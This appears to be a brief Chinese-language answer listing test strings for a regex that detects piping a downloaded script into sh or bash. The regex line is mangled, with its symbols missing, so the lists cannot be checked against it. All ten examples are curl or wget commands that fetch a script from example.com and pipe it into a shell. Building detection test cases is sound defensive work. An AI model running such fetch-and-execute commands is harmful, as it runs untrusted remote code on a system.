curlhttpishwgethttpishssshbash生成这条正则能命中的字符串和不能命中的字符串

能命中的字符串：

• curl http://example.com/i.sh | sh
• wget https://example.com/i.sh | bash
• curl -L http://example.com/i.sh | bash
• wget -O- http://example.com/i.sh | sh
• curl -s http://example.com/i.sh | bash

不能命中的字符串：

• curl http://example.com/i.sh | zsh
• wget https://example.com/i.sh | fish
• curl -L http://example.com/i.sh | tcsh
• wget -O- http://example.com/i.sh | ksh
• curl -s https://example.com/i.sh | dash